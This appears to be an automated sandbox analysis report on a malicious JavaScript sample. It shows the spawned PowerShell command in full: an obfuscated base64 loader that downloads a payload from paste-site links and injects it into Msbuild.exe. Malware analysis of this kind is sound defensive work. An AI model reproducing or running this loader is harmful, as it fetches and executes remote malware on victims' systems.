Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/04/2026, 07:33

General

  • Target
    SOSTENER.js
  • Size 61KB
  • Sample260415-jdn3aaby4t
  • SHA256 07bf65a19f185ee51e47bbb2f82e4e6119adf880a293e4bcf313beca6269415c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\SOSTENER.js
    1⤵
      PID:4700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdfdjhsdfgdgo = 'DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AbABvAGEAZABEAGEAdABhAEYAcgBvAG0ATABpAG4AawBzACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAkAGwAaQBuAGsAcwApACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AawAgAGkAbgAgACQAcwBoAHUAZgBmAGwAZQBkAEwAaQBuAGsAcwApACAAewAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGkAbgBf#ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsACAAfQA7ACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABCAHkAdABlAHMAMgAgAD0AIAAnAHMAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABmAHMAZABmAHMAZABnACAAPQAgACAAJABCAHkAdABlAHMAIAAf#ACQAQgB5AHQAZQBzADIAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBBADMAWQBvAE4ANgB5AFEAOABZAHUAUgA5ADEANAAnACkALAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaABhAHMAdABlAGIALgBpAG4ALwBPADkAUQByAHQAMwBJADcAZABxADIATAA3AHAAYQAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBf#AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQAnACAAKwAgACcAUwBFACcAIAAf#ACAAJwA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAHMAdABhAHIAdABGAGwAYQBnACkAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAeQBwAGUAIAA9ACAAJABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBtAHkAcAByAG8AZwByAGEAbQAuAEgAbwBtAGUAZQBzACcAKQA7AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcATQBzAGIAdQBpAGwAZAAnADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGcAZwAgAD0AIAAnAHcAYQByAC8ATABDAGMANAB2AEkASQBEAC8AcABwAGEALgB5AGYAZQB0AHMAYQBwAC8ALwA6AHMAZwBzAGYAZgBzAGYAJwAgADsAIAAkAGcAZwAgAD0AIAAkAGcAZwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcALgBMAGUAbgBnAHQAaAAgAC0AIAA2ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwByAHUAbgBzACcAIAAf#ACAAJwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAkAGcAZwAgACwAJwAwACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9AA==';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3212
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4876

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_xtchvjqg.tp1.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xtchvjqg.tp1.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3212-16-0x000001EA5CA50000-0x000001EA5CA5C000-memory.dmp

          memory/3212-1-0x000001EA5CBC0000-0x000001EA5CBD0000-memory.dmp

          memory/3212-2-0x000001EA5CBD0000-0x000001EA5CBF2000-memory.dmp

          memory/3212-10-0x000001EA5CBC0000-0x000001EA5CBD0000-memory.dmp

          memory/3212-11-0x000001EA75690000-0x000001EA756D4000-memory.dmp

          memory/3212-15-0x000001EA5B000000-0x000001EA5B1A1000-memory.dmp

          memory/4700-0-0x000002457D340000-0x000002457D34C000-memory.dmp

          memory/4876-12-0x0000000000050000-0x00000000000A0000-memory.dmp

          memory/4876-17-0x00000000055E0000-0x0000000005B84000-memory.dmp

          memory/4876-18-0x0000000005100000-0x0000000005192000-memory.dmp

          memory/4876-19-0x00000000052D0000-0x00000000052E0000-memory.dmp

          memory/4876-21-0x00000000052D0000-0x00000000052E0000-memory.dmp

          memory/4876-20-0x0000000005B90000-0x0000000006143000-memory.dmp